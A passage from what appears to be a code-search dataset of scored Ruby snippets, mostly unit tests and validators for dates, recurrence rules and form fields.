test_daily_cost_on_three_day_different_month_without_monthly_cost\n result = daily_cost(@end_date, @end_date_2, [@daily_time_period, @weekly_time_period])\n assert result.size == 3\n assert result[0][:cost] == 20\n assert result[1][:cost] == 20\n assert result[2][:cost] == 20\n assert result[0][:date] == @end_date.to_s\n assert result[1][:date] == Date.new(2019, 11, 1).to_s\n assert result[2][:date] == @end_date_2.to_s\n end", "title": "" }, { "docid": "0266f87923c2ebfdce0b9853f2be5a57", "score": "0.5126681", "text": "def validate(rows)\n rows.each do |row|\n assert_date(row[0], 'The following statement does not contain a valid date: ' + row.to_hash.to_s)\n assert_description(row[1], 'The following statement does not contain a description field: ' + row.to_hash.to_s)\n end\n end", "title": "" }, { "docid": "651dcf084ec205e8a9c5e24d5cd852b9", "score": "0.512061", "text": "def fuzzy_date\n return true if date\n return false unless dates\n return false if dates[1].day > 12\n exact(dates[0], swap_day_month(@dates[1]))\n end", "title": "" }, { "docid": "4ed9880a96ed53220b857b0ea322eaf1", "score": "0.5119116", "text": "def date_functional_validations\n date_of_birth_is_past\n date_of_death_is_blank_or_past\n date_of_death_follows_date_of_birth\n end", "title": "" }, { "docid": "4ed9880a96ed53220b857b0ea322eaf1", "score": "0.5119116", "text": "def date_functional_validations\n date_of_birth_is_past\n date_of_death_is_blank_or_past\n date_of_death_follows_date_of_birth\n end", "title": "" }, { "docid": "5e324bb7551919c0c0f7a2626cc3fea2", "score": "0.5117755", "text": "def quick_validate\n puts \"\\nDoing some validation\"\n expected_diff = '010700000000000000' # ?\n IMPORT_TABLES.each_key do |t|\n GeographicAreasGeographicItem.where(data_origin: t.to_s).limit(9).each do |i|\n if i.geographic_item.valid_geometry?\n a = \"SELECT St_AsBinary(geom) FROM #{i.data_origin} WHERE gid = #{i.origin_gid}\"\n b = \"SELECT St_AsBinary(multi_polygon) FROM geographic_items WHERE id = #{i.geographic_item_id}\"\n sql1 = \"SELECT St_SymDifference((#{a}), (#{b}));\"\n r = ApplicationRecord.connection.execute(sql1).first['St_SymDifference'].to_s\n if r == expected_diff\n puts \"#{i.data_origin} data matching\"\n else\n puts \"#{i.data_origin} data not matching\"\n puts a\n puts b\n end\n end\n end\n end\n end", "title": "" }, { "docid": "b362934429ff1919e95e11de3d67f1b5", "score": "0.511357", "text": "def test_rfc3339_date_time_array()\n # Parameters for the API call\n datetimes = APIHelper.json_deserialize(\n '[\"1994-02-13T14:01:54.9571247Z\",\"1994-02-13T14:01:54.9571247Z\"]'\n ).map { |element| DateTimeHelper.from_rfc3339(element) }\n\n # Perform the API call through the SDK function\n result = @controller.rfc3339_date_time_array(datetimes)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end", "title": "" }, { "docid": "a685eb76bc221a982e678774e1c2d1ff", "score": "0.51084393", "text": "def test_official_holidays_do_not_appear_in_duplicate\n expected = [\n Date.new(2012, 1, 1),\n Date.new(2012, 4, 5),\n Date.new(2012, 4, 6),\n Date.new(2012, 4, 8),\n Date.new(2012, 4, 9),\n Date.new(2012, 5, 1),\n Date.new(2012, 5, 17),\n Date.new(2012, 5, 27),\n Date.new(2012, 5, 28),\n Date.new(2012, 12, 25),\n Date.new(2012, 12, 26)\n ]\n assert_equal expected, Timetress::Norway.official_holidays(2012)\n end", "title": "" }, { "docid": "35d196b73cc8783da620080558eca437", "score": "0.5107883", "text": "def run_tests()\n check_solution(1, \"2019-06-17\", \"17.06.2019\")\n check_solution(2, \"2019/06/17\", \"2019/06/17\")\nend", "title": "" }, { "docid": "4c976df3ad6575a6d04788c6551c3012", "score": "0.51007783", "text": "def dump_mismatch_diffs(field)\n mismatch_diffs = diffs_by_field_type(field, TYPE_MISMATCH)\n\n if mismatch_diffs.length > 0\n header = \"Table #{@table_name} has mismatched #{field}:\\n\"\n diff_str = mismatch_diffs.map do |diff|\n \"actual: #{dump_single(field, diff[:db_generator], diff[:db_elem])}\\n\\t\" +\n \"expected: #{dump_single(field, diff[:exp_generator], diff[:exp_elem])}\"\n end.join(\"\\n\\n\\t\")\n\n \"#{header}\\n\\t#{diff_str}\\n\"\n end\n end", "title": "" }, { "docid": "1aced998c398da45439affa0f1e0ab1c", "score": "0.5098269", "text": "def expected_for_diff\n if respond_to_failed\n matchers.an_object_having_attributes(\n @expected.select { |k, v| !@actual.respond_to?(k) }\n )\n else\n matchers.an_object_having_attributes(@expected)\n end\n end", "title": "" }, { "docid": "cc0ffee2c177f0a8d6cde1a73b861815", "score": "0.5094936", "text": "def test_valid_civil__england\n valid_civil_p = :_valid_civil?\n skip unless Date.respond_to?(valid_civil_p, true)\n (1..2).each do |d|\n assert_not_nil(Date.__send__(valid_civil_p, 1752,9,d,Date::ENGLAND))\n end\n (3..13).each do |d|\n assert_nil(Date.__send__(valid_civil_p, 1752,9,d,Date::ENGLAND))\n end\n (14..30).each do |d|\n assert_not_nil(Date.__send__(valid_civil_p, 1752,9,d,Date::ENGLAND))\n end\n (31..100).each do |d|\n assert_nil(Date.__send__(valid_civil_p, 1752,9,d,Date::ENGLAND))\n end\n (-31..-20).each do |d|\n assert_nil(Date.__send__(valid_civil_p, 1752,9,d,Date::ENGLAND))\n end\n (-19..-1).each do |d|\n assert_not_nil(Date.__send__(valid_civil_p, 1752,9,d,Date::ENGLAND))\n end\n end", "title": "" }, { "docid": "01b3ef6bc0f5490f05e419c4a2bb9c39", "score": "0.508674", "text": "def test_date\n # test with 1 and 2 digits for month/day, 2 digit year\n assert_equal(0, RegExpProcessor.is_date(\"01-01-14\"))\n assert_equal(0, RegExpProcessor.is_date(\"1-01-14\"))\n assert_equal(0, RegExpProcessor.is_date(\"1-1-14\"))\n # test with 1 and 2 digits for month/day, 4 digit year\n assert_equal(0, RegExpProcessor.is_date(\"01-01-2014\"))\n assert_equal(0, RegExpProcessor.is_date(\"1-01-2014\"))\n assert_equal(0, RegExpProcessor.is_date(\"1-1-2014\"))\n # test with too many digits for month/day, 2 digit year\n assert_equal(nil, RegExpProcessor.is_date(\"1-123-2014\"))\n assert_equal(nil, RegExpProcessor.is_date(\"123-12-2014\"))\n # test with day > 31\n assert_equal(nil, RegExpProcessor.is_date(\"1-32-14\"))\n # test with month > 12\n assert_equal(nil, RegExpProcessor.is_date(\"13-10-14\"))\n assert_equal(nil, RegExpProcessor.is_date(\"21-10-14\"))\n # test day boundary\n assert_equal(0, RegExpProcessor.is_date(\"1-31-14\"))\n # test month boundary\n assert_equal(0, RegExpProcessor.is_date(\"12-31-2014\"))\n # test invalid year\n assert_equal(nil, RegExpProcessor.is_date(\"1-10-0145\"))\n assert_equal(nil, RegExpProcessor.is_date(\"1-10-3145\"))\n assert_equal(nil, RegExpProcessor.is_date(\"1-10-20145\"))\n # test a few with /\n assert_equal(0, RegExpProcessor.is_date(\"1/31/14\"))\n assert_equal(0, RegExpProcessor.is_date(\"12/31/2014\"))\n assert_equal(0, RegExpProcessor.is_date(\"01/01/14\"))\n assert_equal(nil, RegExpProcessor.is_date(\"13/10/14\"))\n assert_equal(nil, RegExpProcessor.is_date(\"1/32/14\")) \n end", "title": "" }, { "docid": "233d9da701e7103f2a445ab11a144e82", "score": "0.5082518", "text": "def determine_gotcha_validity(expected_gotcha_count = 1)\n return false unless params[:gotcha_response].kind_of?(Enumerable) \n return false unless params[:gotcha_response].count == expected_gotcha_count\n params[:gotcha_response].all? do |ident, value|\n type, hash = ident.split '-'\n return false unless Object.const_defined?(type)\n return false unless (klass = Object.const_get(type)) < Gotcha::Base\n Digest::MD5.hexdigest(klass.down_transform(value)) == hash\n end\n end", "title": "" }, { "docid": "8c379b3935bd56d18e0980a311616e06", "score": "0.5081221", "text": "def verify_history_notes(test_data)\n test_histories = test_data[CoreOrgData::HISTORY_NOTES.name]\n errors = []\n test_histories = [{CoreOrgData::HISTORY_NOTE.name => ''}] unless test_histories\n test_histories.each do |test_history|\n index = test_histories.index test_history\n text_values_match?(test_history[CoreOrgData::HISTORY_NOTE.name], element_value(history_input(index)), errors)\n end\n errors\n end", "title": "" }, { "docid": "4a710a250e9a209e61204422008b136a", "score": "0.50745815", "text": "def assert_message_logged_with_valid_times(string, format)\n matches = string.match(format)\n assert matches, \"input #{string} did not match the specified format: #{format.inspect}\"\n matches[1..-1].each do |m|\n assert valid_date?(m), \"Expected #{m} to be a valid date\"\n end\n end", "title": "" }, { "docid": "cd560ab3dabce5e94f5c3795c33b310a", "score": "0.507325", "text": "def test_second_format\n { '19 Mar 60' => '1960-03-19', '22 dec 1985' => '1985-12-22',\n '24 August 00' => '2000-08-24', '25 December 1960' => '1960-12-25'}.each do |value, result|\n assert_update_and_equal result, :date_of_birth => value\n end\n end", "title": "" }, { "docid": "f5ff7dc471ec7a7693e867b12d148693", "score": "0.5066306", "text": "def check_solution(test_number, argument, expected)\n actual = format_date(argument)\n if actual != expected\n puts \"Test ##{test_number}: Incorrect value: got #{actual}, expected #{expected}\"\n return false\n end\n\n puts \"Test ##{test_number}: Correct\"\n return true\nend", "title": "" }, { "docid": "2f4a8109137dfcdf707b96c6c301c376", "score": "0.5066023", "text": "def check_dates\n raise \"start date (#{start}) is after end date (#{finish})\" if @start && @finish && @start > @finish\n if @round_dates.size > 0\n raise \"the number of round dates (#{@round_dates.size}) does not match the number of rounds (#{@rounds})\" unless @round_dates.size == @rounds\n raise \"the date of the first round (#{@round_dates[0]}) does not match the start (#{@start}) of the tournament\" if @start && @start != @round_dates[0]\n raise \"the date of the last round (#{@round_dates[-1]}) does not match the end (#{@finish}) of the tournament\" if @finish && @finish != @round_dates[-1]\n (2..@round_dates.size).to_a.each do |r|\n #puts \"#{@round_dates[r-2]} => #{@round_dates[r-1]}\"\n raise \"the date of round #{r-1} (#{@round_dates[r-2]}) is after the date of round #{r} (#{@round_dates[r-1]}) of the tournament\" if @round_dates[r-2] > @round_dates[r-1]\n end\n @finish = @round_dates[-1] unless @finish\n end\n end", "title": "" }, { "docid": "8a52c4e7d8f1fea19ab8fc3d5bd8c9b8", "score": "0.5062226", "text": "def test_third_format\r\n { 'february 4 06' => '2006-02-04', 'DECember 25 1850' => '1850-12-25', 'February 5, 2006' => '2006-02-05' }.each do |value, result|\r\n assert_update_and_equal result, :date_of_birth => value\r\n end\r\n end", "title": "" }, { "docid": "0fb42f5660aba024f59131587c6c793e", "score": "0.5060292", "text": "def validate_datetime(array_datetimes)\n result = true\n indice = 1\n logger.debug(\"ARRAY_DATETIMES.SIZE \" +array_datetimes.size.to_s)\n for datetime in array_datetimes\n if (datetime.end_date<datetime.start_date) \n errors.add(:datetimes, \"the \" +Event.get_ordinal(indice) + \" date entry is incorrect,\"+\n \" end date is before start date\")\n result = false\n end\n #if (datetime.start_date<Time.now)\n # errors.add(:datetimes, \"the \" +get_ordinal(indice) + \" date entry is incorrect,\"+\n # \" the event can't be accomplished in the past\")\n # result = false\n #end \n index_overlap = overlaps_with_another?(datetime.start_date,datetime.end_date,indice,event_datetimes)\n if index_overlap\n errors.add(:datetimes, \"the \" +Event.get_ordinal(indice) + \" date entry is incorrect,\" +\n \" it overlaps with the \" + Event.get_ordinal(index_overlap+1) + \" date entry\" ) \n \n result = false\n end\n event_overlap_hash = overlaps_with_another_event?(datetime.start_date,datetime.end_date) \n if event_overlap_hash\n logger.debug(\"hay overlap con otro evento \")\n coincidences = event_overlap_hash[:coincidences]\n machines_overlap = Machine.find(coincidences.pop).name\n for ii in coincidences\n machines_overlap += \" and \" + Machine.find(ii).name\n end\n errors.add(:datetimes, \"the \" +Event.get_ordinal(indice) + \" date entry is incorrect,\" +\n \" it overlaps with event named \\\"\" + event_overlap_hash[:event_name] + \"\\\" using \" + machines_overlap) \n result = false\n end\n indice += 1\n end\n return result\n end", "title": "" }, { "docid": "4a5dc1d9a18b34c4130ab37893f53862", "score": "0.5051947", "text": "def verify_terms(test_data)\n test_terms = test_data[CoreOrgData::ORG_TERM_GRP.name]\n errors = []\n test_terms.each do |test_term|\n index = test_terms.index test_term\n text_values_match?(test_term[CoreOrgData::TERM_DISPLAY_NAME.name], element_value(display_name_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_NAME.name], element_value(org_term_name_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_QUALIFIER.name], element_value(org_term_qualifier_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_STATUS.name], element_value(org_term_status_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_TYPE.name], element_value(org_term_type_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_FLAG.name], element_value(org_term_flag_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_LANGUAGE.name], element_value(org_term_language_input index), errors)\n # TODO - element does not indicate its state # text_values_match?(test_term[CoreOrgData::TERM_PREF_FOR_LANGUAGE.name], element_value(org_term_pref_for_lang_input index), errors)\n text_values_match?(test_term[CoreOrgData::MAIN_BODY_NAME.name], element_value(main_body_name_input index), errors)\n text_values_match?(test_term[CoreOrgData::ADDITIONS_TO_NAME.name], element_value(addition_to_name_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_SOURCE.name], element_value(org_term_source_name_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_SOURCE_DETAIL.name], element_value(org_term_source_detail_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_SOURCE_ID.name], element_value(org_term_source_id_input index), errors)\n text_values_match?(test_term[CoreOrgData::TERM_SOURCE_NOTE.name], element_value(org_term_source_note_input index), errors)\n end\n errors\n end", "title": "" }, { "docid": "5e23b98ca46ea9236fbd5e557e7fdd39", "score": "0.5049194", "text": "def data_validation(field, value)\n byr_min, byr_max = 1920, 2002\n iyr_min, iyr_max = 2010, 2020\n eyr_min, eyr_max = 2020, 2030\n hgt_min_cm, hgt_max_cm = 150, 193\n hgt_min_in, hgt_max_in = 59, 76\n hcl_length, hcl_regex = 7, /#[0-9a-f]{6}/\n ecl_arr = [\"amb\", \"blu\", \"brn\", \"gry\", \"grn\", \"hzl\", \"oth\"]\n pid_length, pid_regex = 9, /[0-9]{9}/\n case field\n when \"byr\"\n return value.to_i.between?(byr_min, byr_max)\n when \"iyr\"\n return value.to_i.between?(iyr_min, iyr_max)\n when \"eyr\"\n value.to_i.between?(eyr_min, eyr_max)\n when \"hgt\"\n if value[-2..-1] == \"cm\"\n return value[0..2].to_i.between?(hgt_min_cm, hgt_max_cm)\n elsif value[-2..-1] == \"in\"\n return value[0..1].to_i.between?(hgt_min_in, hgt_max_in)\n end\n when \"hcl\"\n return value.length == hcl_length && value.match?(hcl_regex)\n when \"ecl\"\n return ecl_arr.include?(value)\n when \"pid\"\n return value.length == pid_length && value.match(pid_regex)\n end\nend", "title": "" }, { "docid": "ba081d35e9b57cb1f600cba636aec231", "score": "0.5043525", "text": "def test_filter_column_between_date_and_datetime\n Time.use_zone('Belgrade') do\n user1 = User.create email: '1@email.com', registered_at: Time.zone.parse('2010-01-01 07:00:00')\n post1a = Post.create title: '1a_post', user: user1, published_on: '2020-01-01'\n post1b = Post.create title: '1b_post', user: user1, published_on: '2020-02-01'\n user2 = User.create email: '2@email.com', registered_at: Time.zone.parse('2015-01-01 07:00:00')\n post2a = Post.create title: '2a_post', user: user2, published_on: '2020-03-01'\n post2b = Post.create title: '2b_post', user: user2, published_on: '2020-04-01'\n\n # date\n assert_equal_with_message [post1b, post2a], posts_dt(:filter_by_columns, columns: {'1': {searchable: true, search: {value: \"2020-01-15#{TrkDatatables::BETWEEN_SEPARATOR}2020-03-02\"}}}), :published_on\n assert_equal_with_message [post2a, post2b], posts_dt(:filter_by_columns, columns: {'1': {searchable: true, search: {value: \"2020-03-01#{TrkDatatables::BETWEEN_SEPARATOR}\"}}}), :published_on\n\n # datetime\n assert_equal [post1a, post1b], posts_dt(:filter_by_columns, columns: {'5': {searchable: true, search: {value: \"2010-01-01 07:00:00#{TrkDatatables::BETWEEN_SEPARATOR}2010-01-01 07:00:00\"}}}), \"it should match #{post1a.user.registered_at} #{post1b.user.registered_at}\"\n # in CEST timezone offset if 1h\n # assert_equal_with_message [post1a, post1b], posts_dt(:filter_by_columns, columns: { '5': { searchable: true, search: { value: \"2010-01-01 06:00:00 +0000#{TrkDatatables::BETWEEN_SEPARATOR}2010-01-01 06:00:00 +0000\" } } }), :published_on\n\n # both date and datetime\n assert_equal_with_message [post1b], posts_dt(:filter_by_columns, columns: {'1': {searchable: true, search: {value: \"2020-02-01#{TrkDatatables::BETWEEN_SEPARATOR}\"}}, '5': {searchable: true, search: {value: \"#{TrkDatatables::BETWEEN_SEPARATOR}2010-01-01 07:00:00\"}}}), :title\n end\n end", "title": "" }, { "docid": "2ad49a1fbc902c24a00d0dec2df2b395", "score": "0.5038498", "text": "def check(fields)\n missing_fields = @spec.keys.difference(fields.keys)\n\n if missing_fields.any?\n missing_fields.each do |field|\n raise \"wrong number of args\" unless @spec[field].eql?(Type::Any)\n end\n end\n\n mismatching_fields = fields.keys.difference(@spec.keys)\n\n raise \"key does not exist\" if mismatching_fields.any?\n\n fields.each do |(field, value)|\n raise \"wrong data type\" unless value.is_a?(@spec[field]) || @spec[field].eql?(Type::Any)\n end\n\n true\n end", "title": "" }, { "docid": "573ed5ed5bb839bc32fb4f26ae359f6d", "score": "0.5035704", "text": "def verify_response_match_expected(actual_response, expected_response)\n if actual_response.is_a?(Array) && expected_response.is_a?(Array)\n actual_response.each_with_index { |actual_response_hash_part, index|\n compare_response_hashes(actual_response_hash_part, expected_response[index])\n }\n expected_response.each_with_index { |expected_response_hash_part, index|\n compare_response_hashes(actual_response[index], expected_response_hash_part)\n }\n else #assuming both expected and actual response variables are arrays OR none\n compare_response_hashes(actual_response, expected_response)\n end\nend", "title": "" }, { "docid": "57ff544abe9f6ae92d692e3c139c5034", "score": "0.50280833", "text": "def test_example_30\n start_date = DateTime.parse(\"US-Eastern:19961105T090000\") #May 11, 1996\n end_date = DateTime.parse(\"US-Eastern:20050101T090000\") #Jan 1, 2005\n\n #rrule = RecurrenceRule.new(\"FREQ=YEARLY;INTERVAL=4;BYMONTH=11;BYDAY=TU;BYMONTHDAY=2,3,4,5,6,7,8\")\n\n expected = [\n DateTime.parse(\"US-Eastern:19961105T090000\"), #Nov 5, 1996\n DateTime.parse(\"US-Eastern:20001107T090000\"), #Nov 7, 2000\n DateTime.parse(\"US-Eastern:20041102T090000\"), #Nov 2, 2004\n ]\n\n te = (REMonth.new(2) | REMonth.new(3) | REMonth.new(4) | REMonth.new(5) | REMonth.new(6) | REMonth.new(7) | REMonth.new(8)) & DIWeek.new(Tuesday) & REYear.new(11) & EveryTE.new(start_date, 4, DPrecision::YEAR)\n results = te.dates(DateRange.new(start_date, end_date))\n assert_equal(expected, results)\n end", "title": "" }, { "docid": "bed6204adfcf71e333d66be2af7bd6f7", "score": "0.5025682", "text": "def test_second_format\r\n { '19 Mar 60' => '1960-03-19', '22 dec 1985' => '1985-12-22',\r\n '24 August 00' => '2000-08-24', '25 December 1960' => '1960-12-25'}.each do |value, result|\r\n assert_update_and_equal result, :date_of_birth => value\r\n end\r\n end", "title": "" }, { "docid": "d5c5fc1495af82ce025e15940bb7bf71", "score": "0.50222456", "text": "def test_date(year, month, day)\n Date.valid_date?(year, month, day)\n end", "title": "" }, { "docid": "a3d34cc9ca1b56f8196cd205cd51f831", "score": "0.50221294", "text": "def verify_result(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::RESULT.name], element_value(result_text_area))\n end", "title": "" }, { "docid": "3bcec4f54a882e0a981c9f158b7ed56e", "score": "0.5016585", "text": "def date_mismatch?\n return if post_url_invalid?\n\n date.to_s != post_date_string\n end", "title": "" }, { "docid": "3bcec4f54a882e0a981c9f158b7ed56e", "score": "0.5016585", "text": "def date_mismatch?\n return if post_url_invalid?\n\n date.to_s != post_date_string\n end", "title": "" }, { "docid": "096e0a821f6deba4408302da4488829b", "score": "0.5009367", "text": "def verify_start_single_date(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::START_SINGLE_DATE.name], element_value(start_single_date_input))\n end", "title": "" }, { "docid": "2ac5ec56bf0e4d50d55e4c5cee73ad09", "score": "0.50015724", "text": "def check_correct_date\n false if starts_at > ends_at\n end", "title": "" }, { "docid": "ec6974f0eccda07b1d8d051a70485773", "score": "0.49981692", "text": "def test_date\n with_each_spreadsheet('numbers1') do |oo|\n # should default to DDMMYYYY\n assert oo.date?('21/11/1962')\n assert !oo.date?('11/21/1962')\n oo.date_format = '%m/%d/%Y'\n assert !oo.date?('21/11/1962')\n assert oo.date?('11/21/1962')\n oo.date_format = '%Y-%m-%d'\n assert(oo.date?('1962-11-21'))\n assert(!oo.date?('1962-21-11'))\n end\n end", "title": "" }, { "docid": "fa8a055078f5870459bb1c07be2b35eb", "score": "0.49896356", "text": "def test_part_2\n checks = [\n [1212, 6],\n [1221, 0],\n [123425, 4],\n [123123, 12],\n [12131415, 4]\n ]\n\n checks.each do |check|\n assert_equal check[1], Day1.new(check[0]).captcha2\n end\n end", "title": "" }, { "docid": "d5a1d2eb4dee5d95d21537569285fe45", "score": "0.49877718", "text": "def validate_unmatched_ids\n return success if (@matched_ids.present? || aml_matches.blank?)\n\n aml_matches_qr_codes = aml_matches.map(&:qr_code)\n return error_with_data(\n 'ka_ad_vmi_1',\n 'Mark all records as unmatched or select at least one positive match',\n 'Mark all records as unmatched or select at least one positive match',\n GlobalConstant::ErrorAction.default,\n {}\n ) if (aml_matches_qr_codes - @unmatched_ids).present? # this condition check if all matches are unmatched\n\n success\n end", "title": "" }, { "docid": "4dd4ca130cadf605444ad2ec6d49c80d", "score": "0.49859384", "text": "def test_valid_review_dates_others_work\n #@request.session[:user] = User.find(users(:student1).id)\n @assignment = assignments(:assignment1)\n #@participant = AssignmentParticipant.find(participants(:par1).id)\n due_dates = DueDate.find(:all, :conditions => [\"assignment_id = ?\", @assignment.id])\n @very_last_due_date = DueDate.find(:all, :order => \"due_at DESC\", :limit =>1, :conditions => [\"assignment_id = ?\", @assignment.id])\n next_due_date = @very_last_due_date[0]\n for due_date in due_dates\n if due_date.due_at > Time.now\n if due_date.due_at < next_due_date.due_at\n next_due_date = due_date\n end\n end\n end\n @review_phase = next_due_date.deadline_type_id;\n\n assert_equal(DeadlineType.find(@review_phase).name , deadline_types(:deadline_type_review).name)\n end", "title": "" }, { "docid": "5bb7974eadd3df2ad8a91524445acdfe", "score": "0.49859232", "text": "def out_of_date\n return true if date_array == UNKNOWN_DATE\n out_of_date_test(Date.local_today)\n end", "title": "" }, { "docid": "5bb7974eadd3df2ad8a91524445acdfe", "score": "0.49859232", "text": "def out_of_date\n return true if date_array == UNKNOWN_DATE\n out_of_date_test(Date.local_today)\n end", "title": "" }, { "docid": "a78fdaa2a0dba24b910b0d8d30e1d456", "score": "0.4985476", "text": "def matches_contains_valid_matches\n @matches.each do |match|\n next if match.is_a?(ZombieBattleground::Api::Models::Match) &&\n match.valid? &&\n match.errors.size.zero?\n\n errors.add(:matches, 'matches must be an array of Match')\n end\n end", "title": "" }, { "docid": "e0770cf3a2a1254f6b9fbbaf6c939468", "score": "0.4983471", "text": "def test_example_22\n start_date = DateTime.parse(\"US-Eastern:19970310T090000\") #Mar 10, 1997\n end_date = DateTime.parse(\"US-Eastern:20040401T090000\") #Apr 1, 2004\n\n #rrule = RecurrenceRule.new(\"FREQ=YEARLY;INTERVAL=2;COUNT=10;BYMONTH=1,2,3\")\n\n expected = [\n DateTime.parse(\"US-Eastern:19970310T090000\"), #Mar 10, 1997\n DateTime.parse(\"US-Eastern:19990110T090000\"), #Jan 10, 1999\n DateTime.parse(\"US-Eastern:19990210T090000\"), #Feb 10, 1999\n DateTime.parse(\"US-Eastern:19990310T090000\"), #Mar 10, 1999\n DateTime.parse(\"US-Eastern:20010110T090000\"), #Jan 10, 2001\n DateTime.parse(\"US-Eastern:20010210T090000\"), #Feb 10, 2001\n DateTime.parse(\"US-Eastern:20010310T090000\"), #Mar 10, 2001\n DateTime.parse(\"US-Eastern:20030110T090000\"), #Jan 10, 2003\n DateTime.parse(\"US-Eastern:20030210T090000\"), #Feb 10, 2003\n DateTime.parse(\"US-Eastern:20030310T090000\"), #Mar 10, 2003\n ]\n\n te = REMonth.new(start_date.day) & (REYear.new(1) | REYear.new(2) | REYear.new(3)) & EveryTE.new(start_date, 2, DPrecision::YEAR)\n results = te.dates(DateRange.new(start_date, end_date), 10)\n assert_equal(expected, results)\n end", "title": "" }, { "docid": "077a123540f9041741e406230f7fe64b", "score": "0.4981479", "text": "def verify_data_format\n index = 0\n @body_array.freeze\n @header_array.each do |column| \n matched_column = @@all_fields.find {|f| f[:name] == column}\n if matched_column\n set_error_message(\"Column #{matched_column[:name]} is not in the correct format\") unless verify_data_value matched_column, @body_array[index]\n end\n index += 1\n end\n end", "title": "" }, { "docid": "0b52f60545863c191fe4af1a3551d87b", "score": "0.49802753", "text": "def test_example_21\n start_date = DateTime.parse(\"US-Eastern:19970610T090000\") #June 10, 1997\n end_date = DateTime.parse(\"US-Eastern:20020725T090000\") #July 25, 2002\n\n #rrule = RecurrenceRule.new(\"FREQ=YEARLY;COUNT=10;BYMONTH=6,7)\n\n expected = [\n DateTime.parse(\"US-Eastern:19970610T090000\"), #Jun 10, 1997\n DateTime.parse(\"US-Eastern:19970710T090000\"), #Jul 10, 1997\n\n DateTime.parse(\"US-Eastern:19980610T090000\"), #Jun 10, 1998\n DateTime.parse(\"US-Eastern:19980710T090000\"), #Jul 10, 1998\n\n DateTime.parse(\"US-Eastern:19990610T090000\"), #Jun 10, 1999\n DateTime.parse(\"US-Eastern:19990710T090000\"), #Jul 10, 1999\n\n DateTime.parse(\"US-Eastern:20000610T090000\"), #Jun 10, 2000\n DateTime.parse(\"US-Eastern:20000710T090000\"), #Jul 10, 2000\n\n DateTime.parse(\"US-Eastern:20010610T090000\"), #Jun 10, 2001\n DateTime.parse(\"US-Eastern:20010710T090000\"), #Jul 10, 2001\n ]\n\n te = (REYear.new(6) | REYear.new(7)) & REMonth.new(start_date.day)\n results = te.dates(DateRange.new(start_date, end_date), 10)\n assert_equal(expected, results)\n end", "title": "" }, { "docid": "17c35979d64e91b9079cca298308a52b", "score": "0.49757004", "text": "def verify_values(rsampler, values)\n raw_val_set = Set.new(extract_array_of_values(values))\n rsampler_val_set = Set.new(rsampler.all_values)\n\n assert_equal(raw_val_set, rsampler_val_set)\n end", "title": "" }, { "docid": "5e871f7d6e94fa94f318975b9a8b852a", "score": "0.49731126", "text": "def verify_functions(test_data)\n test_functions = test_data[CoreOrgData::FUNCTIONS.name]\n errors = []\n test_functions = [{CoreOrgData::FUNCTION.name => ''}] unless test_functions\n test_functions.each do |test_function|\n index = test_functions.index test_function\n text_values_match?(test_function[CoreOrgData::FUNCTION.name], element_value(function_input(index)), errors)\n end\n errors\n end", "title": "" }, { "docid": "e1eafaab0aa0af402ce265cc7a34d31c", "score": "0.49662045", "text": "def out_of_date_test(comparison_date)\n return false if infrequent_in_date # Really infrequent events shouldn't be considered out of date until they are nearly due.\n return false if frequency==1 # Weekly events shouldn't have date arrays...\n \n return true if dates.empty? || dates.nil?\n return false if latest_date >= comparison_date\n true\n end", "title": "" }, { "docid": "4babe58a123316b357526fab9f0d795e", "score": "0.49642807", "text": "def comparison_fails?(ref_columns_and_rows, cand_columns_and_rows, tables)\n it_fails = false\n\n tables.each do |table|\n rows, new_rows = extract_tables_rows(ref_columns_and_rows, cand_columns_and_rows, table)\n\n columns = ref_columns_and_rows[table]['columns']\n\n # Determine if a mismatch exists. Don't fail fast: log mismatches.\n mismatch_exists = found_mismatch?(rows, new_rows, columns, table)\n it_fails = true if mismatch_exists\n end\n it_fails\nend", "title": "" }, { "docid": "cd7c25b6c347d9fcb507c1bdb151fc36", "score": "0.495283", "text": "def test_inconsistent_time_formats\n bad_file = Nokogiri::XML(Cedar::Invalidator.inconsistent_time_formats(Nokogiri::XML(@cat_1_file)))\n all_times = bad_file.css('effectiveTime low[value], effectiveTime high[value], effectiveTime [value]').to_a\n invalid_times = 0\n all_times.each { |time| invalid_times += 1 if time.attributes['value'].value.length > 14 }\n assert(invalid_times == 1, 'All time formats appear to be similar')\n end", "title": "" }, { "docid": "42da9dc5f4f414849d17eaa4e5484618", "score": "0.4945075", "text": "def verifySearchResultData(newDetails, oldDetails)\n puts newDetails\n puts oldDetails\n tempKeys = newDetails[0].keys\n for i in 0..tempKeys.length - 1\n if ((newDetails[0][tempKeys[i]].gsub(/[^0-9A-Za-z]/, '')).include?(oldDetails[0][tempKeys[i]].gsub(/[^0-9A-Za-z]/, '')))\n @@logger.info(\"#{tempKeys} details are matched\")\n else\n raise \"#{tempKeys[i]} details are not matched\"\n end\n end\nend", "title": "" }, { "docid": "d48269ea443dcde45ef2d05deaa4e93b", "score": "0.49380112", "text": "def assert_valid_field_list(values)\n raise \"Field mismatch between log pattern and log data. The data is: '#{values.join(':::')}'\" unless values.length == @log_fields.length\n end", "title": "" }, { "docid": "0d74deddded6989416f9d9a193f96cce", "score": "0.49369642", "text": "def test_date_range_outside_values\n # Returns zero results outside of range\n # Search 1865 - 1872\n # Expect 0 results\n visit '/?utf8=%E2%9C%93&search_field=all_fields&q=&range%5Bsolr_year_i%5D%5Bbegin%5D=1865&range%5Bsolr_year_i%5D%5Bend%5D=1872&commit=Limit'\n assert page.has_content?(\"No entries found\")\n end", "title": "" }, { "docid": "4e23747963a3e01c05aab657f909ae46", "score": "0.49366117", "text": "def verify_terms(test_data)\n terms = test_data[Place::PLACE_TERM_GRP.name]\n errors = []\n terms.each_with_index do |term, index|\n 